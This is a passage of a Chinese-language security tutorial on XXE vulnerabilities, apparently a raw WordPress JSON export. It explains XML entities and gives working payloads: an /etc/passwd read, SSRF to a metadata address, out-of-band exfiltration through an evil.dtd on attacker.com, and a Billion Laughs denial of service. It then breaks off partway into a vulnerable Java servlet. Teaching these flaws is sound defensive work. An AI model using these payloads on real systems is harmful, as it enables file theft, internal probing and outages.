XML \u662f\u53ef\u6269\u5c55\u6807\u8bb0\u8bed\u8a00\uff0c\u88ab\u8bbe\u8ba1\u7528\u6765\u7ed3\u6784\u5316\u3001\u4f20\u8f93\u4e0e\u5b58\u50a8\u6570\u636e\u3002XML \u4f7f\u7528\u6807\u7b7e\u6765\u6807\u8bb0\u6570\u636e\uff0c\u8fd9\u4e9b\u6807\u7b7e\u53ef\u4ee5\u81ea\u5b9a\u4e49\uff0c\u56e0\u6b64 XML \u5177\u6709\u53ef\u6269\u5c55\u6027\u3002<\/p>\n
XML \u6587\u6863\u7531\u4e00\u4e2a\u6839\u5143\u7d20\u5f00\u59cb\uff0c\u7136\u540e\u5305\u542b\u4e00\u7cfb\u5217\u5d4c\u5957\u7684\u5143\u7d20\u3002\u6bcf\u4e2a\u5143\u7d20\u53ef\u4ee5\u5305\u542b\u6587\u672c\u3001\u5c5e\u6027\u548c\u5b50\u5143\u7d20\u3002\u6807\u7b7e\u7528\u5c16\u62ec\u53f7\uff08<>\uff09\u8868\u793a\uff0c\u5fc5\u987b\u6210\u5bf9\u51fa\u73b0\uff0c\u6709\u5f00\u59cb\u6807\u7b7e\u5c31\u5fc5\u987b\u6709\u7ed3\u675f\u6807\u7b7e\u3002\u540c\u65f6\uff0cXML \u6587\u4ef6\u9700\u8981\u58f0\u660e\uff0c\u4f8b\u5982\uff1a<xml version=\\”1.0\\” encoding=\\”UTF-8\\”?>\u3002<\/p>\n
XML \u63d0\u4f9b\u4e86\u4e00\u79cd\u901a\u7528\u7684\u6570\u636e\u683c\u5f0f\uff0c\u4f7f\u4e0d\u540c\u5e73\u53f0\u548c\u5e94\u7528\u7a0b\u5e8f\u80fd\u591f\u5171\u4eab\u548c\u89e3\u6790\u6570\u636e\u3002XML \u652f\u6301\u901a\u8fc7\u6587\u6863\u7c7b\u578b\u5b9a\u4e49\uff08DTD\uff09\u6216 XML Schema \u5b9a\u4e49\u6587\u6863\u7684\u7ed3\u6784\u548c\u7ea6\u675f\uff0c\u4ee5\u786e\u4fdd\u6570\u636e\u7684\u6709\u6548\u6027\u548c\u4e00\u81f4\u6027\u3002<\/p>\n
XML \u6587\u6863\u793a\u4f8b\uff1a<\/p>\n
<?xml version=\\”1.0\\” encoding=\\”UTF-8\\” ?>
\n <email>
\n <to>sec@aa.com<\/to>
\n <from>code@aa.com<\/from>
\n <body>Hello, test!<\/body>
\n <\/email><\/p>\n
DTD \uff08Document Type Definition\uff0c\u6587\u6863\u7c7b\u578b\u5b9a\u4e49\uff09\u662f XML \u7684\u4e00\u79cd\u5143\u6570\u636e\u7ed3\u6784\uff0c\u7528\u4e8e\u5b9a\u4e49 XML \u6587\u6863\u7684\u5408\u6cd5\u7ed3\u6784\u3001\u5143\u7d20\u3001\u5c5e\u6027\u4ee5\u53ca\u5b9e\u4f53\uff08Entity\uff09\u3002DTD \u53ef\u4ee5\u5185\u5d4c\u5728 XML \u6587\u4ef6\u4e2d\uff08\u5185\u90e8 DTD\uff09\uff0c\u4e5f\u53ef\u4ee5\u901a\u8fc7\u5916\u90e8\u5f15\u7528\u5f15\u5165\uff08\u5916\u90e8 DTD\uff09\u3002<\/p>\n
<!DOCTYPE note [
\n <!ELEMENT note (to,from,heading,body)>
\n <!ELEMENT to (#PCDATA)>
\n <!– …\u5176\u4ed6\u5143\u7d20\u5b9a\u4e49… –>
\n]><\/p>\n
\u5b9e\u4f53\uff08Entity\uff09\u662f XML \u7684\u5b58\u50a8\u5355\u5143\uff0c\u7528\u4e8e\u5b9a\u4e49\u53ef\u91cd\u7528\u5185\u5bb9\u7684\u4e00\u79cd\u673a\u5236\u3002\u5b9e\u4f53\u53ef\u4ee5\u4ee3\u8868\u6587\u672c\u3001\u7279\u6b8a\u5b57\u7b26\uff0c\u751a\u81f3\u5916\u90e8\u8d44\u6e90\u3002\u5b9e\u4f53\u5206\u4e3a\u5185\u90e8\u5b9e\u4f53\u548c\u5916\u90e8\u5b9e\u4f53\u3002\u5f53 XML \u88ab\u89e3\u6790\u65f6\uff0c\u5b9e\u4f53\u4f1a\u88ab\u66ff\u6362\u4e3a\u5176\u5b9a\u4e49\u7684\u5185\u5bb9\u3002<\/p>\n
\u5185\u90e8\u5b9e\u4f53\uff08Internal Entity\uff09\u5b9a\u4e49\u5728 DTD \uff08Document Type Definition\uff0c\u6587\u6863\u7c7b\u578b\u5b9a\u4e49\uff09\u4e2d\uff0c\u5185\u5bb9\u4e3a\u5b57\u9762\u91cf\uff08\u5b57\u7b26\u4e32\uff09\uff0c\u4e0d\u5f15\u7528\u5916\u90e8\u8d44\u6e90\u3002<\/p>\n
<!DOCTYPE test [
\n <!ENTITY author \\”Alice\\”>
\n]>
\n<message>Written by &author;<\/message><\/p>\n
\u89e3\u6790\u540e\u53d8\u4e3a\uff1a<message>Written by Alice<\/message>\u3002<\/p>\n
\u5916\u90e8\u5b9e\u4f53\uff08External Entity\uff09\u7684\u5185\u5bb9\u6765\u81ea\u5916\u90e8\u8d44\u6e90\uff08\u5982\u672c\u5730\u6587\u4ef6\u3001HTTP URL\u7b49\uff09\uff0c\u901a\u8fc7SYSTEM\u6216PUBLIC\u5173\u952e\u5b57\u5f15\u5165\u3002\u5982\u679c\u5e94\u7528\u7a0b\u5e8f\u672a\u7981\u7528\u5916\u90e8\u5b9e\u4f53\u89e3\u6790\uff0c\u653b\u51fb\u8005\u53ef\u5229\u7528\u5b83\u8bfb\u53d6\u654f\u611f\u6587\u4ef6\u3001\u53d1\u8d77\u670d\u52a1\u5668\u7aef\u8bf7\u6c42\u4f2a\u9020\u3001DoS \u653b\u51fb\u7b49\u3002<\/p>\n
<?xml version=\\”1.0\\” encoding=\\”UTF-8\\” ?>
\n<!DOCTYPE foo [
\n <!ENTITY f SYSTEM \\”file:\/\/\/etc\/passwd\\”>
\n]>
\n<foo>
\n <data>&f;<\/data>
\n<\/foo><\/p>\n
\u5b9a\u4e49\u4e86\u4e00\u4e2a\u540d\u4e3af\u7684\u5916\u90e8\u5b9e\u4f53\uff0c\u5b83\u5f15\u7528\u4e86\u672c\u5730\u7684\/etc\/passwd\u6587\u4ef6\u3002\u901a\u8fc7&f\u6765\u5f15\u7528\u8be5\u5916\u90e8\u5b9e\u4f53\uff0c\u5e76\u5c06\u5176\u5305\u542b\u5728<data>\u5143\u7d20\u4e2d\u3002<\/p>\n
\u5f53\u5e94\u7528\u7a0b\u5e8f\u5728\u89e3\u6790 XML \u8f93\u5165\u65f6\uff0c\u82e5\u6ca1\u6709\u7981\u6b62\u5916\u90e8\u5b9e\u4f53\u7684\u52a0\u8f7d\u800c\u5bfc\u81f4\u52a0\u8f7d\u4e86\u5916\u90e8\u6587\u4ef6\u53ca\u4ee3\u7801\u65f6\uff0c\u4fbf\u4f1a\u9020\u6210 XXE \u6f0f\u6d1e\u3002XXE \u6f0f\u6d1e\u53ef\u4ee5\u901a\u8fc7FILE\u534f\u8bae\u6216\u662fFTP\u534f\u8bae\u6765\u8bfb\u53d6\u6587\u4ef6\u6e90\u7801\uff0c\u4e5f\u53ef\u4ee5\u901a\u8fc7 XXE \u6f0f\u6d1e\u6765\u5bf9\u5185\u7f51\u8fdb\u884c\u63a2\u6d4b\u6216\u8005\u653b\u51fb\u3002<\/p>\n
\u5f53\u5e94\u7528\u7a0b\u5e8f\u4f7f\u7528\u4e0d\u5b89\u5168\u7684 XML \u89e3\u6790\u5668\uff08\u5982\u672a\u7981\u7528\u5916\u90e8\u5b9e\u4f53\uff09\u5904\u7406\u7528\u6237\u63d0\u4ea4\u7684 XML \u6570\u636e\u65f6\uff0c\u653b\u51fb\u8005\u53ef\u6ce8\u5165\u6076\u610f DTD \u548c\u5916\u90e8\u5b9e\u4f53\uff0c\u5bfc\u81f4\uff1a<\/p>\n
\u4efb\u610f\u6587\u4ef6\u8bfb\u53d6\uff08\u5982 \/etc\/passwd\u3001C:\\\\Windows\\\\win.ini\uff09<\/p>\n<\/li>\n
\u670d\u52a1\u7aef\u8bf7\u6c42\u4f2a\u9020\uff08SSRF\uff09<\/p>\n<\/li>\n
\u62d2\u7edd\u670d\u52a1\uff08\u5982 Billion Laughs Attack\uff09<\/p>\n<\/li>\n
\u5e26\u5916\u6570\u636e\u6cc4\u9732\uff08Out-of-Band, OOB\uff09<\/p>\n<\/li>\n<\/ul>\n
\u901a\u8fc7\u5b9a\u4e49\u6307\u5411\u672c\u5730\u6587\u4ef6\u7cfb\u7edf\u7684\u5916\u90e8\u5b9e\u4f53\uff0c\u8bfb\u53d6\u670d\u52a1\u5668\u4e0a\u7684\u654f\u611f\u6587\u4ef6\u3002<\/p>\n
<!DOCTYPE foo [
\n <!ENTITY xxe SYSTEM \\”file:\/\/\/etc\/passwd\\”>
\n]>
\n<root>&xxe;<\/root><\/p>\n
\u5229\u7528\u5916\u90e8\u5b9e\u4f53\u5411\u5185\u7f51\u6216\u5916\u90e8 URL \u53d1\u8d77 HTTP \u8bf7\u6c42\uff0c\u63a2\u6d4b\u6216\u653b\u51fb\u540e\u7aef\u7cfb\u7edf\u3002<\/p>\n
<!DOCTYPE foo [
\n <!ENTITY xxe SYSTEM \\”http:\/\/169.254.169.254:6379\\”>
\n]>
\n<root>&xxe;<\/root><\/p>\n
\u5229\u7528\u53c2\u6570\u5b9e\u4f53\uff08Parameter Entity\uff09\u7ed3\u5408\u5916\u90e8 DTD\uff0c\u5c06\u654f\u611f\u6570\u636e\u5916\u4f20\u5230\u653b\u51fb\u8005\u63a7\u5236\u7684\u670d\u52a1\u5668\u3002<\/p>\n
<!DOCTYPE foo [
\n <!ENTITY % xxe SYSTEM \\”http:\/\/attacker.com\/evil.dtd\\”>
\n %xxe;
\n]>
\n<request>test<\/request><\/p>\n
evil.dtd\u5185\u5bb9\uff08\u6258\u7ba1\u5728\u653b\u51fb\u8005\u670d\u52a1\u5668\uff09\uff1a<\/p>\n
<!ENTITY % file SYSTEM \\”file:\/\/\/etc\/passwd\\”>
\n<!ENTITY % exfil \\”<!ENTITY % send SYSTEM \\’http:\/\/attacker.com\/?data=%file;\\’>\\”>
\n%exfil;
\n%send;<\/p>\n
\u5229\u7528\u9012\u5f52\u5b9e\u4f53\u5bfc\u81f4\u5185\u5b58\u7206\u70b8\uff1a<\/p>\n
<!DOCTYPE lolz [
\n <!ENTITY a \\”lol\\”>
\n <!ENTITY b \\”&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;\\”>
\n <!ENTITY c \\”&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;\\”>
\n <!ENTITY d \\”&c;&c;&c;&c;&c;&c;&c;&c;&c;&c;\\”>
\n]>
\n<root>&d;<\/root><\/p>\n
DocmentBuilder\u7c7b\u662fjavax.xml.parsers.DocumentBuilderFactory\u7c7b\u7684\u5b50\u7c7b\uff0c\u8be5\u7c7b\u63d0\u4f9b\u4e86\u521b\u5efa Document \u5bf9\u8c61\u4ee5\u53ca\u89e3\u6790 XML \u6587\u4ef6\u7684\u65b9\u6cd5\u3002<\/p>\n
package xxe.test.testxxe;<\/p>\n
import java.io.*;<\/p>\n
import jakarta.servlet.http.*;
\nimport jakarta.servlet.annotation.*;
\nimport org.w3c.dom.Document;
\nimport org.w3c.dom.Element;
\nimport org.w3c.dom.NodeList;
\nimport org.xml.sax.SAXException;<\/p>\n
import javax.xml.parsers.DocumentBuilder;
\nimport javax.xml.parsers.DocumentBuilderFactory;
\nimport javax.xml.parsers.ParserConfigurationException;<\/p>\n
@WebServlet(name = \\”xxeServlet1\\”, value = \\”\/xxe-servlet1\\”)
\npublic class XxeServlet1 extends HttpServlet {
\n public void doGet(HttpServletRequest request, HttpServletResponse response) throws IOExcepti<\/p>\n","protected":false},"excerpt":{"rendered":"
XML \u662f\u53ef\u6269\u5c55\u6807\u8bb0\u8bed\u8a00\uff0c\u88ab\u8bbe\u8ba1\u7528\u6765\u7ed3\u6784\u5316\u3001\u4f20\u8f93\u4e0e\u5b58\u50a8\u6570\u636e\u3002XML \u4f7f\u7528\u6807\u7b7e\u6765\u6807\u8bb0\u6570\u636e\uff0c\u8fd9\u4e9b\u6807\u7b7e\u53ef\u4ee5\u81ea\u5b9a\u4e49\uff0c\u56e0\u6b64 XML \u5177\u6709\u53ef\u6269\u5c55\u6027\u3002
\n XML \u6587\u6863\u7531\u4e00\u4e2a\u6839\u5143\u7d20\u5f00\u59cb\uff0c\u7136\u540e\u5305\u542b\u4e00\u7cfb\u5217\u5d4c\u5957\u7684\u5143\u7d20\u3002\u6bcf\u4e2a\u5143\u7d20\u53ef\u4ee5\u5305\u542b\u6587\u672c\u3001\u5c5e\u6027\u548c\u5b50\u5143\u7d20\u3002\u6807\u7b7e\u7528\u5c16\u62ec\u53f7\uff08\uff09\u8868\u793a\uff0c\u5fc5\u987b\u6210\u5bf9\u51fa\u73b0\uff0c\u6709\u5f00\u59cb\u6807\u7b7e\u5c31\u5fc5\u987b\u6709\u7ed3\u675f\u6807\u7b7e\u3002\u540c\u65f6\uff0cXML \u6587\u4ef6\u9700\u8981\u58f0\u660e\uff0c\u4f8b\u5982\uff1a\u3002
\n XML \u63d0\u4f9b\u4e86\u4e00\u79cd\u901a\u7528\u7684\u6570\u636e\u683c\u5f0f\uff0c\u4f7f\u4e0d\u540c\u5e73\u53f0\u548c<\/p>\n","protected":false},"author":2,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1],"tags":[99,81,100],"topic":[],"class_list":["post-75639","post","type-post","status-publish","format-standard","hentry","category-server","tag-java","tag-python","tag-100"],"yoast_head":"\n